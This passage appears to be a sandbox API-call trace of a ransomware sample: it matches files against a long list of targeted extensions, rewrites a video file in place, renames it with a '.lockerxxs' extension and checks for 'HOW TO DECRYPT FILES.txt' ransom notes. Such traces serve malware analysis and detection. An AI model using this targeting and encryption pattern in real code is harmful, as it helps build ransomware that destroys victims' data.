HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.cs") returned 0 [0092.041] lstrlenA (lpString="*.cs") returned 4 [0092.041] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.cpp") returned 0 [0092.041] lstrlenA (lpString="*.cpp") returned 5 [0092.042] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.rar") returned 0 [0092.042] lstrlenA (lpString="*.rar") returned 5 [0092.042] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.zip") returned 0 [0092.042] lstrlenA (lpString="*.zip") returned 5 [0092.042] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.html") returned 0 [0092.042] lstrlenA (lpString="*.html") returned 6 [0092.042] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.htm") returned 0 [0092.042] lstrlenA (lpString="*.htm") returned 5 [0092.042] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.xlsx") returned 0 [0092.042] lstrlenA (lpString="*.xlsx") returned 6 [0092.042] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.xls") returned 0 [0092.042] lstrlenA (lpString="*.xls") returned 5 [0092.042] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.mp4") returned 1 [0092.042] lstrlenA (lpString="*.mp4") returned 5 [0092.042] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4" [0092.042] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4" [0092.042] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4." [0092.043] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4.lockerxxs" [0092.043] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\wmeykve8urhsn1uuwfy.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0092.043] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4bb3 [0092.043] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x51f60b20, dwHighDateTime=0x1d5e430), lpLastAccessTime=0x407536*(dwLowDateTime=0xe9a03c30, dwHighDateTime=0x1d5ddd6), lpLastWriteTime=0x40753e*(dwLowDateTime=0xe9a03c30, dwHighDateTime=0x1d5ddd6)) returned 1 [0092.043] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0092.044] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x4b8d, lpOverlapped=0x0) returned 1 [0092.045] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4") returned="wMeYKve8urHsN1UUwFY.mp4" [0092.046] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0092.046] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x4b8d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x4b8d, lpOverlapped=0x0) returned 1 [0092.046] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0092.046] CloseHandle (hObject=0x8c) returned 1 [0092.046] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\wmeykve8urhsn1uuwfy.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\wmeykve8urhsn1uuwfy.mp4.lockerxxs")) returned 1 [0092.047] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f60b20, ftCreationTime.dwHighDateTime=0x1d5e430, ftLastAccessTime.dwLowDateTime=0xe9a03c30, ftLastAccessTime.dwHighDateTime=0x1d5ddd6, ftLastWriteTime.dwLowDateTime=0xe9a03c30, ftLastWriteTime.dwHighDateTime=0x1d5ddd6, nFileSizeHigh=0x0, nFileSizeLow=0x4bb3, dwReserved0=0x2c00032f, dwReserved1=0x4e00c4, cFileName="wMeYKve8urHsN1UUwFY.mp4", cAlternateFileName="WMEYKV~1.MP4")) returned 0 [0092.047] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.048] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5f71c0, ftCreationTime.dwHighDateTime=0x1d5df0c, ftLastAccessTime.dwLowDateTime=0x9c8aaf00, ftLastAccessTime.dwHighDateTime=0x1d5e634, ftLastWriteTime.dwLowDateTime=0x9c8aaf00, ftLastWriteTime.dwHighDateTime=0x1d5e634, nFileSizeHigh=0x0, nFileSizeLow=0x4fc1, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="xdo2AKI5-.flv", cAlternateFileName="XDO2AK~1.FLV")) returned 1 [0092.048] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0092.048] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="xdo2AKI5-.flv") returned -1 [0092.048] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="xdo2AKI5-.flv") returned -1 [0092.048] lstrcmpiA (lpString1="", lpString2="xdo2AKI5-.flv") returned -1 [0092.048] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.*") returned="*.*" [0092.048] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0092.048] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="" [0092.048] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" [0092.048] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to decrypt files.txt")) returned 0x20 [0092.048] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="xdo2AKI5-.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv" [0092.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.ems") returned 0 [0092.049] lstrlenA (lpString="*.ems") returned 5 [0092.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.db") returned 0 [0092.049] lstrlenA (lpString="*.db") returned 4 [0092.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.dbf") returned 0 [0092.049] lstrlenA (lpString="*.dbf") returned 5 [0092.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.myox") returned 0 [0092.049] lstrlenA (lpString="*.myox") returned 6 [0092.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.myo") returned 0 [0092.049] lstrlenA (lpString="*.myo") returned 5 [0092.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.qbw") returned 0 [0092.049] lstrlenA (lpString="*.qbw") returned 5 [0092.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.qbb") returned 0 [0092.049] lstrlenA (lpString="*.qbb") returned 5 [0092.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.qbm") returned 0 [0092.049] lstrlenA (lpString="*.qbm") returned 5 [0092.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.qbo") returned 0 [0092.049] lstrlenA (lpString="*.qbo") returned 5 [0092.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.qbx") returned 0 [0092.049] lstrlenA (lpString="*.qbx") returned 5 [0092.050] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.qba") returned 0 [0092.050] lstrlenA (lpString="*.qba") returned 5 [0092.050] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.qby") returned 0 [0092.050] lstrlenA (lpString="*.qby") returned 5 [0092.050] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.qbj") returned 0 [0092.050] lstrlenA (lpString="*.qbj") returned 5 [0092.050] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.ofx") returned 0 [0092.050] lstrlenA (lpString="*.ofx") returned 5 [0092.050] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.qif") returned 0 [0092.050] lstrlenA (lpString="*.qif") returned 5 [0092.050] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.mye") returned 0 [0092.050] lstrlenA (lpString="*.mye") returned 5 [0092.050] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.mbox") returned 0 [0092.050] lstrlenA (lpString="*.mbox") returned 6 [0092.050] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.eml") returned 0 [0092.050] lstrlenA (lpString="*.eml") returned 5 [0092.050] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.pst") returned 0 [0092.051] lstrlenA (lpString="*.pst") returned 5 [0092.051] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.ost") returned 0 [0092.051] lstrlenA (lpString="*.ost") returned 5 [0092.051] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.idx") returned 0 [0092.051] lstrlenA (lpString="*.idx") returned 5 [0092.051] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.dbx") returned 0 [0092.051] lstrlenA (lpString="*.dbx") returned 5 [0092.051] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.sql") returned 0 [0092.051] lstrlenA (lpString="*.sql") returned 5 [0092.051] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.mdb") returned 0 [0092.051] lstrlenA (lpString="*.mdb") returned 5 [0092.051] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.fdb") returned 0 [0092.051] lstrlenA (lpString="*.fdb") returned 5 [0092.051] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.wab") returned 0 [0092.051] lstrlenA (lpString="*.wab") returned 5 [0092.051] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.dat") returned 0 [0092.052] lstrlenA (lpString="*.dat") returned 5 [0092.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.txt") returned 0 [0092.052] lstrlenA (lpString="*.txt") returned 5 [0092.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.jpeg") returned 0 [0092.052] lstrlenA (lpString="*.jpeg") returned 6 [0092.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.jpg") returned 0 [0092.052] lstrlenA (lpString="*.jpg") returned 5 [0092.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.png") returned 0 [0092.052] lstrlenA (lpString="*.png") returned 5 [0092.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.php") returned 0 [0092.068] lstrlenA (lpString="*.php") returned 5 [0092.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.cs") returned 0 [0092.069] lstrlenA (lpString="*.cs") returned 4 [0092.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.cpp") returned 0 [0092.069] lstrlenA (lpString="*.cpp") returned 5 [0092.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.rar") returned 0 [0092.069] lstrlenA (lpString="*.rar") returned 5 [0092.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.zip") returned 0 [0092.069] lstrlenA (lpString="*.zip") returned 5 [0092.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.html") returned 0 [0092.069] lstrlenA (lpString="*.html") returned 6 [0092.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.htm") returned 0 [0092.069] lstrlenA (lpString="*.htm") returned 5 [0092.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.xlsx") returned 0 [0092.069] lstrlenA (lpString="*.xlsx") returned 6 [0092.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.xls") returned 0 [0092.069] lstrlenA (lpString="*.xls") returned 5 [0092.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.mp4") returned 0 [0092.069] lstrlenA (lpString="*.mp4") returned 5 [0092.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.ppt") returned 0 [0092.070] lstrlenA (lpString="*.ppt") returned 5 [0092.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.pptx") returned 0 [0092.070] lstrlenA (lpString="*.pptx") returned 6 [0092.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.doc") returned 0 [0092.070] lstrlenA (lpString="*.doc") returned 5 [0092.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.dot") returned 0 [0092.070] lstrlenA (lpString="*.dot") returned 5 [0092.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.docx") returned 0 [0092.070] lstrlenA (lpString="*.docx") returned 6 [0092.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.7z") returned 0 [0092.070] lstrlenA (lpString="*.7z") returned 4 [0092.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.tar") returned 0 [0092.070] lstrlenA (lpString="*.tar") returned 5 [0092.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.bz2") returned 0 [0092.070] lstrlenA (lpString="*.bz2") returned 5 [0092.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.gz") returned 0 [0092.071] lstrlenA (lpString="*.gz") returned 4 [0092.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.mkv") returned 0 [0092.071] lstrlenA (lpString="*.mkv") returned 5 [0092.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.eml") returned 0 [0092.071] lstrlenA (lpString="*.eml") returned 5 [0092.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.msg") returned 0 [0092.071] lstrlenA (lpString="*.msg") returned 5 [0092.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.edb") returned 0 [0092.071] lstrlenA (lpString="*.edb") returned 5 [0092.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.accdb") returned 0 [0092.071] lstrlenA (lpString="*.accdb") returned 7 [0092.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.odb") returned 0 [0092.071] lstrlenA (lpString="*.odb") returned 5 [0092.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.java") returned 0 [0092.071] lstrlenA (lpString="*.java") returned 6 [0092.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.asm") returned 0 [0092.072] lstrlenA (lpString="*.asm") returned 5 [0092.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.pfx") returned 0 [0092.072] lstrlenA (lpString="*.pfx") returned 5 [0092.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.pem") returned 0 [0092.072] lstrlenA (lpString="*.pem") returned 5 [0092.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.p12") returned 0 [0092.072] lstrlenA (lpString="*.p12") returned 5 [0092.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.gpg") returned 0 [0092.072] lstrlenA (lpString="*.gpg") returned 5 [0092.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.vsd") returned 0 [0092.072] lstrlenA (lpString="*.vsd") returned 5 [0092.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.odg") returned 0 [0092.072] lstrlenA (lpString="*.odg") returned 5 [0092.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.raw") returned 0 [0092.072] lstrlenA (lpString="*.raw") returned 5 [0092.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.nef") returned 0 [0092.073] lstrlenA (lpString="*.nef") returned 5 [0092.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.svg") returned 0 [0092.073] lstrlenA (lpString="*.svg") returned 5 [0092.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.psd") returned 0 [0092.073] lstrlenA (lpString="*.psd") returned 5 [0092.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.vmx") returned 0 [0092.073] lstrlenA (lpString="*.vmx") returned 5 [0092.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.vmdk") returned 0 [0092.073] lstrlenA (lpString="*.vmdk") returned 6 [0092.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.vdi") returned 0 [0092.073] lstrlenA (lpString="*.vdi") returned 5 [0092.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.lay6") returned 0 [0092.073] lstrlenA (lpString="*.lay6") returned 6 [0092.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.mpeg") returned 0 [0092.073] lstrlenA (lpString="*.mpeg") returned 6 [0092.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.djvu") returned 0 [0092.073] lstrlenA (lpString="*.djvu") returned 6 [0092.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.tiff") returned 0 [0092.074] lstrlenA (lpString="*.tiff") returned 6 [0092.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.backup") returned 0 [0092.074] lstrlenA (lpString="*.backup") returned 8 [0092.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.pdf") returned 0 [0092.074] lstrlenA (lpString="*.pdf") returned 5 [0092.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.cert") returned 0 [0092.074] lstrlenA (lpString="*.cert") returned 6 [0092.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.docm") returned 0 [0092.074] lstrlenA (lpString="*.docm") returned 6 [0092.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.xlsm") returned 0 [0092.074] lstrlenA (lpString="*.xlsm") returned 6 [0092.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.dwg") returned 0 [0092.074] lstrlenA (lpString="*.dwg") returned 5 [0092.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.nd") returned 0 [0092.074] lstrlenA (lpString="*.nd") returned 4 [0092.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.tlg") returned 0 [0092.074] lstrlenA (lpString="*.tlg") returned 5 [0092.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 